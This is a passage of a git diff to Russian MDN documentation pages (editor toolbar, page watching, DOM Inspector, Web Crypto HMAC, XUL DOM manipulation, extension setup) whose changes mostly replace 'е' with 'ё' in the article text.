              Создает или удаляет маркированный список. Когда вы работаете над списком, при каждом нажатии Enter будет создаваться новый элемент списка. Клавиша Tab используется для увеличения вложенности, а Shift + Tab для уменьшения. При нажатии на Enter в пустом элементе список будет закончен. Нажатие ПКМ на списке открывает контекстное меню с опцией Bulleted list properties, в которой можно выбрать стиль нумерации (числа, буквы, римские цифры и пр., а также с какой цифры начинать).
              +
              Создаёт или удаляет маркированный список. Когда вы работаете над списком, при каждом нажатии Enter будет создаваться новый элемент списка. Клавиша Tab используется для увеличения вложенности, а Shift + Tab для уменьшения. При нажатии на Enter в пустом элементе список будет закончен. Нажатие ПКМ на списке открывает контекстное меню с опцией Bulleted list properties, в которой можно выбрать стиль нумерации (числа, буквы, римские цифры и пр., а также с какой цифры начинать).
              Definition List
              -
              Создает новый список с определениями (definition list). Этот список состоит из серии терминов и определений (именно такой список вы сейчас читаете).
              +
              Создаёт новый список с определениями (definition list). Этот список состоит из серии терминов и определений (именно такой список вы сейчас читаете).
              Definition Term
              -
              Создает новый блок с термином в списке. Если в данный момент вы не редактируете список, он будет создан. Нажатие на Enter автоматически переключается на редактирование нового определения.
              +
              Создаёт новый блок с термином в списке. Если в данный момент вы не редактируете список, он будет создан. Нажатие на Enter автоматически переключается на редактирование нового определения.
              Definition Value
              -
              Создает новый блок с определением в списке. Нажатие на Enter создает новый термин. Нажав дважды, вы покинете список.
              +
              Создаёт новый блок с определением в списке. Нажатие на Enter создаёт новый термин. Нажав дважды, вы покинете список.
              Decrease indent
              Уменьшает вложенность. Того же эффекта можно добиться нажав Shift + Tab в списке.
              Increase indent
              @@ -249,7 +249,7 @@ original_slug: MDN/Editor/Basics/Toolbar
              Table
              Вставляет таблицу в статью. Смотрите Таблицы для подробной информации о таблицах в статьях.
              Embed YouTube Video
              -
              Открывает диалоговое окно, в котором вы можете ввести URL для видео YouTube. С этой информацией создается вызов макроса EmbedYouTube. Это безопасный способ встроить видеоконтент.
              +
              Открывает диалоговое окно, в котором вы можете ввести URL для видео YouTube. С этой информацией создаётся вызов макроса EmbedYouTube. Это безопасный способ встроить видеоконтент.
              Insert MathML based on (La)TeX
              Открывает диалоговое окно, в которое вы можете вставить свой код TeX или LaTeX. Этот код будет конвертирован в MathML вставлен в документ в {{htmlelement("math")}} блоке.
              diff --git a/files/ru/orphaned/mdn/editor/images/index.html b/files/ru/orphaned/mdn/editor/images/index.html index 3853046584..19adda54f1 100644 --- a/files/ru/orphaned/mdn/editor/images/index.html +++ b/files/ru/orphaned/mdn/editor/images/index.html @@ -15,7 +15,7 @@ original_slug: MDN/Editor/Картинки
              Замечание: При загрузке изображения, пожалуйста, убедитесь, что используете инструменты оптимизации, чтобы сделать файл маленьким, а загрузку возможной. Это сокращает время загрузки страницы и помогает производительности MDN в целом. Вы можете использовать свой любимый инструмент, если он у вас есть. Иначе, мы предлагаем TinyPNG - удобный Веб инструмент.
              -

              После добавления изображения на страницу (смотрите {{SectionOnPage("/en-US/docs/MDN/Contribute/Editor/Basics", "The attachments box")}}), его можно использовать в оформлении статьи. Также можно использовать любые уже загруженные изображения, размещенные на сайте MDN. Для добавления нажмите на кнопку "Изображение" на панели инструментов: Toolbar icon for inserting image

              +

              После добавления изображения на страницу (смотрите {{SectionOnPage("/en-US/docs/MDN/Contribute/Editor/Basics", "The attachments box")}}), его можно использовать в оформлении статьи. Также можно использовать любые уже загруженные изображения, размещённые на сайте MDN. Для добавления нажмите на кнопку "Изображение" на панели инструментов: Toolbar icon for inserting image

              Окно Свойства изображения:

              diff --git a/files/ru/orphaned/mdn/editor/links/index.html b/files/ru/orphaned/mdn/editor/links/index.html index 5a303726f5..fe1182a58a 100644 --- a/files/ru/orphaned/mdn/editor/links/index.html +++ b/files/ru/orphaned/mdn/editor/links/index.html @@ -42,7 +42,7 @@ original_slug: MDN/Editor/Ссылки
              На картинке вы можете видеть все страницы MDN, чьи заголовки содержат текст, напечатанный вами. Вы можете прокрутить список и выбрать одну из страниц или продолжить набирать текст, сужая список. Заметьте, у названий страниц отображается их язык (в нашем примере это "[en-US]"). Это не отображается в указателе ссылки; так сделано для того, чтобы вы убедились, что вы ссылаетесь на статью того же языка, на котором пишете вы.
              Прикрепление ссылки (Attachments)
              -
              В качестве альтернативы вы можете сделать так, чтобы ссылка была привязана к одному из файлов, прикрепленному к этой странице. Это отличный способ предоставить ссылку для скачивания примера кода и тому подобное.
              +
              В качестве альтернативы вы можете сделать так, чтобы ссылка была привязана к одному из файлов, прикреплённому к этой странице. Это отличный способ предоставить ссылку для скачивания примера кода и тому подобное.
              URL
              Наконец, поле для URL-адреса позволяет вам ввести URL; в поле также выводятся URL выбранных вами элементов из меню Article Title Lookup или Attachments, если вы их использовали. Нередко используют URL-адреса страниц MDN, поэтому, если вы ссылаетесь на другую страницу MDN, удалите доменное имя ("https://developer.mozilla.org") из начала URL.
              diff --git a/files/ru/orphaned/mdn/tools/page_watching/index.html b/files/ru/orphaned/mdn/tools/page_watching/index.html index 3118cf34c3..4c75e0f72b 100644 --- a/files/ru/orphaned/mdn/tools/page_watching/index.html +++ b/files/ru/orphaned/mdn/tools/page_watching/index.html @@ -16,23 +16,23 @@ original_slug: MDN/Tools/Page_watching

              Screenshot of MDN Watch menu

              -

              Выберите вариант просмотра только одной страницы или этой страницы и ее подстраниц.

              +

              Выберите вариант просмотра только одной страницы или этой страницы и её подстраниц.

              Подписаться на страницу

              Нажмите первый вариант «Подписаться на название страницы», чтобы получать уведомление по электронной почте каждый раз, когда пользователь редактирует только одну страницу.

              -

              Подпишитесь на страницу и все ее подзаголовки

              +

              Подпишитесь на страницу и все её подзаголовки

              Нажмите второй вариант «Подписаться на название страницы и все её под-статьи», чтобы получать уведомление по электронной почте каждый раз, когда пользователь редактирует эту страницу, а также любую её подстраницу. Это включает в себя дополнительные страницы, добавленные после того, как вы запросили подписку, поэтому, если в будущем будет создано больше подстраниц, вы также получите уведомления для них.

              Отменить подписку на страницу

              -

              Чтобы отказаться от подписки и прекратить просмотр страницы, откройте меню «Смотреть» еще раз и нажмите «Отменить подписку на название страницы». Если вы подписаны на страницу, вы увидите только «Отказаться от названия страницы». Вы больше не будете получать электронное письмо при каждом изменении страницы.

              +

              Чтобы отказаться от подписки и прекратить просмотр страницы, откройте меню «Смотреть» ещё раз и нажмите «Отменить подписку на название страницы». Если вы подписаны на страницу, вы увидите только «Отказаться от названия страницы». Вы больше не будете получать электронное письмо при каждом изменении страницы.

              Электронные письма с изменением страницы

              -

              Если вы подписаны на страницу, каждый раз при сохранении изменений вы получите электронное письмо. Эти письма поступают с notifications@developer.mozilla.org и отправляются на адрес электронной почты, зарегистрированный на вашей учетной записи MDN. Каждое сообщение имеет заголовок формы:

              +

              Если вы подписаны на страницу, каждый раз при сохранении изменений вы получите электронное письмо. Эти письма поступают с notifications@developer.mozilla.org и отправляются на адрес электронной почты, зарегистрированный на вашей учётной записи MDN. Каждое сообщение имеет заголовок формы:

              [MDN] Page "Page title" changed by username
              @@ -41,11 +41,11 @@ original_slug: MDN/Tools/Page_watching

              Ниже diff есть список полезных ссылок, которые вы можете использовать для изменения, включая:

                -
              • Просмотр профиля MDN пользователя, внесшего изменения
                • +
              • Просмотр профиля MDN пользователя, внёсшего изменения
              • Сравнение предыдущих и новых версий страницы с использованием функции истории событий на MDN
                • -
              • Просмотр статьи в своем браузере
                • +
              • Просмотр статьи в своём браузере
              • Редактирование статьи
              • Просмотр истории статьи
              -

              В нижней части письма есть уведомление о том, какая подписка сгенерировала электронное письмо, например «Вы подписаны на изменения: ссылка на элемент HTML и все его подтемы», а также ссылку на отмену подписки. Если вы нажмете ссылку, чтобы отказаться от подписки, вы больше не будете получать сообщения для этого запроса на просмотр.

              +

              В нижней части письма есть уведомление о том, какая подписка сгенерировала электронное письмо, например «Вы подписаны на изменения: ссылка на элемент HTML и все его подтемы», а также ссылку на отмену подписки. Если вы нажмёте ссылку, чтобы отказаться от подписки, вы больше не будете получать сообщения для этого запроса на просмотр.

              diff --git a/files/ru/orphaned/tools/add-ons/dom_inspector/index.html b/files/ru/orphaned/tools/add-ons/dom_inspector/index.html index 3316c31f83..719178baac 100644 --- a/files/ru/orphaned/tools/add-ons/dom_inspector/index.html +++ b/files/ru/orphaned/tools/add-ons/dom_inspector/index.html @@ -49,10 +49,10 @@ ac_add_options --enable-inspector-apis
              Выберите Инструменты > Веб-разработка > Инспектор DOM. Вы также можете установить боковую панель через Правка > Настройки > Дополнительно > Инспектор DOM, затем просто откройте панель инспектора DOM и посетите любой веб-сайт.
              -

              Отчет об ошибке в DOM Inspector

              +

              Отчёт об ошибке в DOM Inspector

              Использовать удобно именованный раздел компонент «Инспектор DOM» в Bugzilla.

              -

              Чтобы узнать о тех, кто знает код DOM Inspector и где он живет, см. листинг модуля DOM Inspector.

              +

              Чтобы узнать о тех, кто знает код DOM Inspector и где он живёт, см. листинг модуля DOM Inspector.

              {{ languages( { "es": "es/DOM_Inspector", "it": "it/DOM_Inspector", "fr": "fr/Inspecteur_DOM", "ja": "ja/DOM_Inspector", "ko": "ko/DOM_Inspector", "pl": "pl/Inspektor_DOM" } ) }}

              diff --git a/files/ru/orphaned/web/api/web_crypto_api/checking_authenticity_with_password/index.html b/files/ru/orphaned/web/api/web_crypto_api/checking_authenticity_with_password/index.html index 0e81e9847e..903e7cc7a2 100644 --- a/files/ru/orphaned/web/api/web_crypto_api/checking_authenticity_with_password/index.html +++ b/files/ru/orphaned/web/api/web_crypto_api/checking_authenticity_with_password/index.html @@ -11,11 +11,11 @@ original_slug: Web/API/Web_Crypto_API/Checking_authenticity_with_password

              Проверка подлинности данных может быть выполнена с помощью Web Crypto API. В этой статье мы покажем как создавать и управлять подписями, используя хэш-функцию и пароль.

              -

              HMAC алгоритм генерирует хэш на основе передаваемых ключа и данных, которые нужно подписать. Позже, идентичный хэш может быть вычислен заново любым пользователем, у которого имеется ключ. Необходимость ключа позволяет хранить данные и хэш вместе: злоумышленник не сможет создать хэш для измененных данных, не имея ключа.

              +

              HMAC алгоритм генерирует хэш на основе передаваемых ключа и данных, которые нужно подписать. Позже, идентичный хэш может быть вычислен заново любым пользователем, у которого имеется ключ. Необходимость ключа позволяет хранить данные и хэш вместе: злоумышленник не сможет создать хэш для изменённых данных, не имея ключа.

              Стоит заметить, что алгоритм никак не связан с какой-либо другой информацией о владельце: знание ключа – необходимое и достаточное условие для изменения данных.

              -

              Предположим, данные хранятся на компьютере. Чтобы получить доступ к записи или чтению, мы будем использовать localforage.js – библиотека-обертка над хранилищами браузера. Эта библиотека необязательна и используется в качестве примера для удобства, чтобы сосредоточиться на криптографии.

              +

              Предположим, данные хранятся на компьютере. Чтобы получить доступ к записи или чтению, мы будем использовать localforage.js – библиотека-обёртка над хранилищами браузера. Эта библиотека необязательна и используется в качестве примера для удобства, чтобы сосредоточиться на криптографии.

              Данные, доступ к которым мы хотим получить, имеют следующую форму:

              diff --git a/files/ru/orphaned/web/html/element/element/index.html b/files/ru/orphaned/web/html/element/element/index.html index cdb961e381..cc146093e7 100644 --- a/files/ru/orphaned/web/html/element/element/index.html +++ b/files/ru/orphaned/web/html/element/element/index.html @@ -7,7 +7,7 @@ original_slug: Web/HTML/Element/element

              {{obsolete_header}}

              -

              Заметка: Этот элемент удален из спецификации. Смотри здесь больше дополнительной информации от редактора спецификации.

              +

              Заметка: Этот элемент удалён из спецификации. Смотри здесь больше дополнительной информации от редактора спецификации.

              Краткая информация

              @@ -21,7 +21,7 @@ original_slug: Web/HTML/Element/element
              - + @@ -29,7 +29,7 @@ original_slug: Web/HTML/Element/element - + diff --git a/files/ru/orphaned/web/html/global_attributes/dropzone/index.html b/files/ru/orphaned/web/html/global_attributes/dropzone/index.html index 5ea0689fce..dce803241d 100644 --- a/files/ru/orphaned/web/html/global_attributes/dropzone/index.html +++ b/files/ru/orphaned/web/html/global_attributes/dropzone/index.html @@ -9,9 +9,9 @@ original_slug: Web/HTML/Global_attributes/dropzone

              Глобальный атрибут dropzone является перечисляемым атрибутом, указывающем, какие типы содержимого могут быть опущены в элементе, используя {{domxref("HTML_Drag_and_Drop_API","HTML Drag and Drop API")}}. Может иметь следующие значения:

                -
              • copy, которая указывает что сброс создает копию перетаскиваемого элемента.
                • -
              • move, которое указывает, что перетаскиваемы элемент будет перемещен в новое местоположение.
                • -
              • link, которая создает ссылку на перетаскиваемые данные.
                • +
              • copy, которая указывает что сброс создаёт копию перетаскиваемого элемента.
                • +
              • move, которое указывает, что перетаскиваемы элемент будет перемещён в новое местоположение.
                • +
              • link, которая создаёт ссылку на перетаскиваемые данные.

              Спецификации

              diff --git "a/files/ru/orphaned/web/javascript/guide/\320\276\320\261_\321\215\321\202\320\276\320\274_\321\200\321\203\320\272\320\276\320\262\320\276\320\264\321\201\321\202\320\262\320\265/index.html" "b/files/ru/orphaned/web/javascript/guide/\320\276\320\261_\321\215\321\202\320\276\320\274_\321\200\321\203\320\272\320\276\320\262\320\276\320\264\321\201\321\202\320\262\320\265/index.html" index 7a71d93a38..68ff635c0b 100644 --- "a/files/ru/orphaned/web/javascript/guide/\320\276\320\261_\321\215\321\202\320\276\320\274_\321\200\321\203\320\272\320\276\320\262\320\276\320\264\321\201\321\202\320\262\320\265/index.html" +++ "b/files/ru/orphaned/web/javascript/guide/\320\276\320\261_\321\215\321\202\320\276\320\274_\321\200\321\203\320\272\320\276\320\262\320\276\320\264\321\201\321\202\320\262\320\265/index.html" @@ -36,16 +36,16 @@ var s = "";

              JavaScript документация включает в себя следующие книги:

              • JavaScript Guide (это руководство) предоставляет информацию о языке JavaScript и его объектах.
              • JavaScript Reference содержит справочный материал о языке JavaScript.
              -

              Если вы новичок в JavaScript, начните с руководства JavaScript. Если у вас есть твердое понимание основы, вы можете использовать Справочник по JavaScript чтобы получить более подробную информацию на отдельных объектах и ​​операторах.

              +

              Если вы новичок в JavaScript, начните с руководства JavaScript. Если у вас есть твёрдое понимание основы, вы можете использовать Справочник по JavaScript чтобы получить более подробную информацию на отдельных объектах и ​​операторах.

              Советы для изучения JavaScript

              Начало работы с JavaScript очень просто: все, что вам нужно, это современный веб-браузер. Это руководство включает в себя некоторые функции JavaScript, которые только в настоящее время доступна в последней версии Firefox (и других браузеров с движком Gecko), поэтому рекомендуется использование самых последних версий Firefox.

              Интерактивный интерпретатор

              -

              Диалоговый JavaScript незамедлительно - неоценимая помощь изучению языка, так как это предоставляет вам возможность пробовать вещи в интерактивном режиме без необходимости сохранить файл и обновить страницу. Ошибочная Консоль Firefox, доступная через меню Инструменты, обеспечивает простой путь пробовать диалоговый JavaScript: Только вводят линию кода и щелкают кнопку "Evaluate".

              +

              Диалоговый JavaScript незамедлительно - неоценимая помощь изучению языка, так как это предоставляет вам возможность пробовать вещи в интерактивном режиме без необходимости сохранить файл и обновить страницу. Ошибочная Консоль Firefox, доступная через меню Инструменты, обеспечивает простой путь пробовать диалоговый JavaScript: Только вводят линию кода и щёлкают кнопку "Evaluate".

              Image:ErrorConsole.png

              Firebug

              Более передовой диалоговый незамедлительно - доступный использующий Firebug, дополнение к Firefox. Выражения, которые вы печатаете, интерпретируются как объекты и связанные с другими частями Firebug. Например, вы можете добавить 5 плюс 5, изменять регистр строки, get a clickable link to the document, or get a link to an element:

              -

              Использование стрелки на правом нижнем углу дает команду редактор для многострочного сценариев.

              +

              Использование стрелки на правом нижнем углу даёт команду редактор для многострочного сценариев.

              Firebug also provides an advanced DOM inspector, a JavaScript debugger, a profiling tool and various other utilities. JavaScript code running in a Web page can call, console.log(), a function that prints its arguments to the Firebug console.

              Many of the examples in this guide use alert() to show messages as they execute. If you have Firebug installed you can use console.log() in place of alert() when running these examples.

              Document conventions

              diff --git a/files/ru/orphaned/web/security/information_security_basics/index.html b/files/ru/orphaned/web/security/information_security_basics/index.html index 53535a9992..96088ba6e6 100644 --- a/files/ru/orphaned/web/security/information_security_basics/index.html +++ b/files/ru/orphaned/web/security/information_security_basics/index.html @@ -4,7 +4,7 @@ slug: orphaned/Web/Security/Information_Security_Basics translation_of: Web/Security/Information_Security_Basics original_slug: Web/Security/Information_Security_Basics --- -

              Базовое понимание информационной безопасности, поможет обезопасить ваше программное обеспечение и сайты от уязвимостей открывающим доступ к финансовым махинациям и прочим противоправным действиям. Из этих статей вы сможете узнать все что для этого необходимо. Вооружившись этой информацией, вы поймете роль и важность безопасности начиная от цикла веб-разработки вплоть до размещения вашего контента. 

              +

              Базовое понимание информационной безопасности, поможет обезопасить ваше программное обеспечение и сайты от уязвимостей открывающим доступ к финансовым махинациям и прочим противоправным действиям. Из этих статей вы сможете узнать все что для этого необходимо. Вооружившись этой информацией, вы поймёте роль и важность безопасности начиная от цикла веб-разработки вплоть до размещения вашего контента. 

              Конфиденциальность, целостность и доступность
              diff --git "a/files/ru/orphaned/\320\262\320\265\320\261-\321\201\321\202\320\260\320\275\320\264\320\260\321\200\321\202\321\213/index.html" "b/files/ru/orphaned/\320\262\320\265\320\261-\321\201\321\202\320\260\320\275\320\264\320\260\321\200\321\202\321\213/index.html" index fe2fd3a4f0..befc8b983e 100644 --- "a/files/ru/orphaned/\320\262\320\265\320\261-\321\201\321\202\320\260\320\275\320\264\320\260\321\200\321\202\321\213/index.html" +++ "b/files/ru/orphaned/\320\262\320\265\320\261-\321\201\321\202\320\260\320\275\320\264\320\260\321\200\321\202\321\213/index.html" @@ -5,7 +5,7 @@ original_slug: Веб-стандарты ---

              Веб-стандарты, как следует из их названия, являются стандартами в области веб-технологий. Эти стандарты являются рекомендациями для разработчиков программного обеспечения и для веб-мастеров. Служат веб-стандарты для того, чтобы, с одной стороны, пользователи ПО без проблем и неудобств могли пользоваться сетью интернет, а с другой стороны, для того, чтобы разработчики программного обеспечения или веб-мастера были уверены в работоспособности своих продуктов.

              Исторически сложилось так, что в начале 90-х годов XX века развязалась так называемая "война браузеров" между компанией Netscape и Microsoft. Суть войны заключалась в том, что разработчики веб-браузеров стремились привнести в продукты своих разработок собственные новые функции, но при этом совершенно не заботились о совместимости технологий и не согласовывали свои действия с разработчиками конкурирующей компании. По этой причине начало возрастать недовольство как среди людей, создающих сайты, так и среди людей, пользующихся сетью интернет - ведь сайты, которые были написаны специально для Netscape Navigator крайне плохо работали в Microsoft Intrnet Explorer и наоборот посредством Internet Explorer почти невозможно было просматривать сайт, написанный для Netscape Navigator.

              -

              В 1994 году в Массачусетском технологическом институте при поддержке CERN, DARPA и Европейской Комиссии появилась организация World Wide Web Consortcium или, сокращенно, W3C. Целью консорциума по сей день является упорядочивание всех веб-технологий для того, чтобы обеспечить их доступность как можно большему числу людей всего мира.

              +

              В 1994 году в Массачусетском технологическом институте при поддержке CERN, DARPA и Европейской Комиссии появилась организация World Wide Web Consortcium или, сокращённо, W3C. Целью консорциума по сей день является упорядочивание всех веб-технологий для того, чтобы обеспечить их доступность как можно большему числу людей всего мира.

              Начиная, примерно, с 2000 года все крупные производители программного обеспечения для сети интернет стараются придерживаться стандартов W3C для того, чтобы обеспечить своим продуктам максимальную эффективность и совместимость с большинством веб-ресурсов. Результат работы консорциума по стандартизации веб-технологий на сегодняшний день очень значителен и выражается в том, что веб-технологии получают все большее распространение в нашем мире и упрощают многим жизнь.

              Ссылки

              Официальный сайт W3C (англ.): http://www.w3.org

              diff --git "a/files/ru/orphaned/\320\264\320\270\320\275\320\260\320\274\320\270\321\207\320\265\321\201\320\272\320\270_\320\270\320\267\320\274\320\265\320\275\321\217\320\265\320\274\321\213\320\271_\320\277\320\276\320\273\321\214\320\267\320\276\320\262\320\260\321\202\320\265\320\273\321\214\321\201\320\272\320\270\320\271_\320\270\320\275\321\202\320\265\321\200\321\204\320\265\320\271\321\201_\320\275\320\260_xul/index.html" "b/files/ru/orphaned/\320\264\320\270\320\275\320\260\320\274\320\270\321\207\320\265\321\201\320\272\320\270_\320\270\320\267\320\274\320\265\320\275\321\217\320\265\320\274\321\213\320\271_\320\277\320\276\320\273\321\214\320\267\320\276\320\262\320\260\321\202\320\265\320\273\321\214\321\201\320\272\320\270\320\271_\320\270\320\275\321\202\320\265\321\200\321\204\320\265\320\271\321\201_\320\275\320\260_xul/index.html" index e1243dbba0..0af3771593 100644 --- "a/files/ru/orphaned/\320\264\320\270\320\275\320\260\320\274\320\270\321\207\320\265\321\201\320\272\320\270_\320\270\320\267\320\274\320\265\320\275\321\217\320\265\320\274\321\213\320\271_\320\277\320\276\320\273\321\214\320\267\320\276\320\262\320\260\321\202\320\265\320\273\321\214\321\201\320\272\320\270\320\271_\320\270\320\275\321\202\320\265\321\200\321\204\320\265\320\271\321\201_\320\275\320\260_xul/index.html" +++ "b/files/ru/orphaned/\320\264\320\270\320\275\320\260\320\274\320\270\321\207\320\265\321\201\320\272\320\270_\320\270\320\267\320\274\320\265\320\275\321\217\320\265\320\274\321\213\320\271_\320\277\320\276\320\273\321\214\320\267\320\276\320\262\320\260\321\202\320\265\320\273\321\214\321\201\320\272\320\270\320\271_\320\270\320\275\321\202\320\265\321\200\321\204\320\265\320\271\321\201_\320\275\320\260_xul/index.html" @@ -13,7 +13,7 @@ original_slug: Динамически_изменяемый_пользовате

              Как вы знаете, XUL — это язык, основанный на XML, который использовался в различных приложениях, основанных на Mozilla, таких как Firefox и Thunderbird, для описания пользовательского интерфейса. В XUL приложениях JavaScript объявляет поведение, используя DOM APIs для доступа к XUL документу.

              Так что же такое Document Object Model APIs?

              Это интерфейсы, которые используются при любом взаимодействии скрипта и документа. Если вы когда-либо писали скрипт, который взаимодействует с XUL (или HTML) документом, то вы уже использовали DOM-вызовы. Пожалуй, наиболее известным DOM методом является document.getElementById(), который возвращает элемент с заданным id. Возможно, вы использовали и другие DOM-вызовы, такие как element.setAttribute(), или, если вы писали расширения, метод addEventListener(). Все они объявлены в DOM.

              -

              Существуют также DOM-методы, которые создают, перемещают или удаляют элементы из документа. Они будут продемонстрированы позже в этом параграфе. А сейчас давайте поймем, что такое document.

              +

              Существуют также DOM-методы, которые создают, перемещают или удаляют элементы из документа. Они будут продемонстрированы позже в этом параграфе. А сейчас давайте поймём, что такое document.

              Что такое document?

              Document — это структура данных, которой можно управлять через DOM APIs. Логической структурой каждого объекта document является дерево с узлами-элементами, атрибутами, комментариями и т.д. Используйте инструмент DOM Inspector, чтобы увидеть древовидное представление любого объекта document.

              Можно считать, что document — это представление в памяти правильного HTML или хорошо сформированного XML, как, например, xhtml или XUL.

              @@ -32,12 +32,12 @@ original_slug: Динамически_изменяемый_пользовате

              Этот пример добавляет два новых элемента меню к <menupopup>: в начало и в конец. Здесь используется метод document.createElementNS() для создания элементов и insertBefore() с appendChild() для вставки созданных xml элементов в документ.

              Замечания:

                -
              • document.createElementNS() создает элемент, но не добавляет ничего в document. Необходимо воспользоваться другим DOM-методом, таким как appendChild() для вставки только что созданного элемента в document.
                • +
              • document.createElementNS() создаёт элемент, но не добавляет ничего в document. Необходимо воспользоваться другим DOM-методом, таким как appendChild() для вставки только что созданного элемента в document.
              • appendChild() добавляет узел после других узлов, а insertBefore() вставляет узел перед узлом, указанным во втором параметре.
              function createMenuItem(aLabel) {
   const XUL_NS = "http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul";
-  var item = document.createElementNS(XUL_NS, "menuitem"); // Создаем новый элемент меню XUL
+  var item = document.createElementNS(XUL_NS, "menuitem"); // Создаём новый элемент меню XUL
   item.setAttribute("label", aLabel);
   return item;
 }
@@ -52,7 +52,7 @@ popup.appendChild(last);

              Этот оператор удалит узел из его текущего места и заново вставит его в конец popup'а.

              Анонимное содержимое (XBL)

              -

              XBL — это язык, используемый в Mozilla для объявления новых виджетов. Виджеты, объявленные в XBL можно выбирать для объявления некоторого содержимого, объединенного в связку с помощью граничного элемента. Такое содержимое называется анонимное содержимое и оно не доступно через обычную модель DOM. (подкорректируйте, я не понял смысла).

              +

              XBL — это язык, используемый в Mozilla для объявления новых виджетов. Виджеты, объявленные в XBL можно выбирать для объявления некоторого содержимого, объединённого в связку с помощью граничного элемента. Такое содержимое называется анонимное содержимое и оно не доступно через обычную модель DOM. (подкорректируйте, я не понял смысла).

              Вместо этого вам необходимо использовать методы интерфейса nsIDOMDocumentXBL. Например:

              // Выбирает первый анонимный дочерний элемент для заданного
 document.getAnonymousNodes(node)[0];
diff --git "a/files/ru/orphaned/\320\275\320\260\321\201\321\202\321\200\320\276\320\271\320\272\320\260_\321\201\321\200\320\265\320\264\321\213_\321\200\320\260\320\267\321\200\320\260\320\261\320\276\321\202\320\272\320\270_\321\200\320\260\321\201\321\210\320\270\321\200\320\265\320\275\320\270\320\271/index.html" "b/files/ru/orphaned/\320\275\320\260\321\201\321\202\321\200\320\276\320\271\320\272\320\260_\321\201\321\200\320\265\320\264\321\213_\321\200\320\260\320\267\321\200\320\260\320\261\320\276\321\202\320\272\320\270_\321\200\320\260\321\201\321\210\320\270\321\200\320\265\320\275\320\270\320\271/index.html"
index 7c408ddfd9..2b42897a3d 100644
--- "a/files/ru/orphaned/\320\275\320\260\321\201\321\202\321\200\320\276\320\271\320\272\320\260_\321\201\321\200\320\265\320\264\321\213_\321\200\320\260\320\267\321\200\320\260\320\261\320\276\321\202\320\272\320\270_\321\200\320\260\321\201\321\210\320\270\321\200\320\265\320\275\320\270\320\271/index.html"
+++ "b/files/ru/orphaned/\320\275\320\260\321\201\321\202\321\200\320\276\320\271\320\272\320\260_\321\201\321\200\320\265\320\264\321\213_\321\200\320\260\320\267\321\200\320\260\320\261\320\276\321\202\320\272\320\270_\321\200\320\260\321\201\321\210\320\270\321\200\320\265\320\275\320\270\320\271/index.html"
@@ -24,7 +24,7 @@ start "" "%ProgramFiles%\Mozilla Firefox\firefox.exe" -ProfileManager
 
 
              для Windows.
              
 
-
              После создания профиля (назовем его myDevProfile) можно запустить Firefox, указав ключ "-P myDevProfile". Профиль по умолчанию называется "default". Таким образом, для удобства запуска можно создать 2 ярлыка (символические ссылки) на Firefox с ключами "-P <profileName>".
              
+
              После создания профиля (назовём его myDevProfile) можно запустить Firefox, указав ключ "-P myDevProfile". Профиль по умолчанию называется "default". Таким образом, для удобства запуска можно создать 2 ярлыка (символические ссылки) на Firefox с ключами "-P <profileName>".
              
 
 
              Однако обычно нельзя запустить 2 копии Firefox с разными профилями. Чтобы сделать это укажите при запуске дополнительно ключ "-no-remote".
              
 
@@ -66,7 +66,7 @@ start "" "%ProgramFiles%\Mozilla Firefox\firefox.exe" -ProfileManager
 
 
                
  
              1. Найдите папку с вашим профилем. Если вы не создавали его специально, браузер использует профиль по умолчанию. Как найти папку с профилем.
                2. 
- 
              2. Откройте папку extensions. Если ее нет, создайте ее.
                3. 
+ 
              3. Откройте папку extensions. Если её нет, создайте ее.
                4. 
  
              4. Создайте новый текстовый файл и поместите в него лишь путь к вашему расширению (напр., C:\extensions\my_extension\ для Windows или ~/extensions/my_extension/ для Unix/Linux). Сохраните файл под именем, одинаковым с id вашего расширения.
                5. 
 
              
 
@@ -74,7 +74,7 @@ start "" "%ProgramFiles%\Mozilla Firefox\firefox.exe" -ProfileManager
 
 
                
  
              • Не забудьте конечный слеш.
                • 
- 
              • Возможно возникновение проблем из-за знаков нижнего подчеркивания в названии; если так вышло, измените его.
                • 
+ 
              • Возможно возникновение проблем из-за знаков нижнего подчёркивания в названии; если так вышло, измените его.
                • 
 
              
 
 
              Использование папок, а не JAR'ов
              
diff --git "a/files/ru/orphaned/\320\277\320\265\321\200\320\265\321\205\320\276\320\264_\321\201_internet_explorer_\320\275\320\260_mozilla/index.html" "b/files/ru/orphaned/\320\277\320\265\321\200\320\265\321\205\320\276\320\264_\321\201_internet_explorer_\320\275\320\260_mozilla/index.html"
index f7c8b5d32c..e17b95e6ca 100644
--- "a/files/ru/orphaned/\320\277\320\265\321\200\320\265\321\205\320\276\320\264_\321\201_internet_explorer_\320\275\320\260_mozilla/index.html"
+++ "b/files/ru/orphaned/\320\277\320\265\321\200\320\265\321\205\320\276\320\264_\321\201_internet_explorer_\320\275\320\260_mozilla/index.html"
@@ -6,6 +6,6 @@ original_slug: Переход_с_Internet_Explorer_на_Mozilla
 
              Введение
              
 
              Когда Netscape запустила броузер Mozilla, было решено поддерживать стандарт W3C. В результате, Mozilla не полностью совместима с Netscape Navigator 4.x и Microsoft Internet Explorer; например, Mozilla не поддерживает <layer>, я расскажу об этом позже. Броузеры, такие как Internet Explorer 4, были разработаны до утверждения стандарта W3C, и имеют много индивидуальных особенностей. В этом ключе, я опишу особенности Mozilla, с поддержкой строгого стиля HTML в сочетании с Internet Explorer и другими используемыми броузерами.
              
 
              Впрочем я опишу как нестандартизированные технологии, такие как XMLHttpRequest, так и богатые возможности представления текста, которые Mozilla поддерживает согласно стандарту W3C. Они включают:
              
-
                 
              • HTML 4.01, XHTML 1.0 и XHTML 1.1
                •  
              • Каскадные таблицы стилей (CSS): CSS 1, CSS 2.1 и частично CSS 3
                •  
              • Объектная модель документа (DOM): DOM 1, DOM 2 и частично DOM 3
                •  
              • Математический язык разметки: MathML 2.0
                •  
              • Расширяемый язык разметки (XML): XML 1.0, Пространство имен в XML, Associating Style Sheets with XML Documents 1.0, Fragment Identifier for XML
                •  
              • XSL Традиционно: XSLT 1.0
                •  
              • XML Часть языка: XPath 1.0
                •  
              • Resource Description Framework: RDF
                •  
              • Simple Object Access Protocol: SOAP 1.1
                •  
              • ECMA-262, revision 3 (JavaScript 1.5): ECMA-262
                • 
+
                   
                • HTML 4.01, XHTML 1.0 и XHTML 1.1
                  •  
                • Каскадные таблицы стилей (CSS): CSS 1, CSS 2.1 и частично CSS 3
                  •  
                • Объектная модель документа (DOM): DOM 1, DOM 2 и частично DOM 3
                  •  
                • Математический язык разметки: MathML 2.0
                  •  
